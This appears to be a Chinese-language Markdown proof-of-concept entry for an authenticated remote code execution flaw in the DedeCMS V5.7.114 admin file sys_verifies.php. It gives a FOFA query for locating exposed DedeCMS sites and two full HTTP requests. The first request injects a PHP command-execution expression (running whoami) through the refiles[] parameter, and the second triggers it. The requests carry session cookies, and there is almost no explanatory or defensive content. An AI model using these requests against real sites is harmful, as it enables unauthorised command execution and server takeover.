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55 lines
2.5 KiB
Markdown
55 lines
2.5 KiB
Markdown
# DedeCMSV5.7.114后台sys_verizes.php存在远程代码执行漏洞
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DedeCMS V5.7.114存在远程代码执行漏洞。产生该漏洞的原因是，虽然sys_verizes.php对编辑的文件进行了一定的限制，但攻击者仍然可以绕过这些限制并以某种方式编写代码，从而允许经过身份验证的攻击者利用该漏洞执行任意命令并获得系统权限。
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## fofa
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```yaml
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app="DedeCMS网站内容管理系统"
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```
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## poc
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```yaml
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GET /dede/sys_verifies.php?action=getfiles&refiles[]=123${${print%20`whoami`}} HTTP/1.1
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Host: 127.0.0.11
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1%2C5_1%2C6_1; PHPSESSID=89s6bbv2d1unokav5grt4bk2g4; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=10acd9938ef3615d; DedeLoginTime=1720327720; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c5e6c12f26661f56; _csrf_name_236f0c58=6d608f0ee0d0e0b59410565dfeec6b2b; _csrf_name_236f0c581BH21ANI1AGD297L1FF21LN02BGE1DNG=bc5881b7b91f1bd9
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Sec-Fetch-User: ?1
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Priority: u=1
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```
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```
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GET /dede/sys_verifies.php?action=down&curfile=1 HTTP/1.1
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Host: 127.0.0.11
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate, br
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Connection: close
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Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1%2C5_1%2C6_1; PHPSESSID=89s6bbv2d1unokav5grt4bk2g4; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=10acd9938ef3615d; DedeLoginTime=1720327720; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=c5e6c12f26661f56; _csrf_name_236f0c58=6d608f0ee0d0e0b59410565dfeec6b2b; _csrf_name_236f0c581BH21ANI1AGD297L1FF21LN02BGE1DNG=bc5881b7b91f1bd9
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Sec-Fetch-User: ?1
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Priority: u=1
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```
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## 漏洞来源
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-  |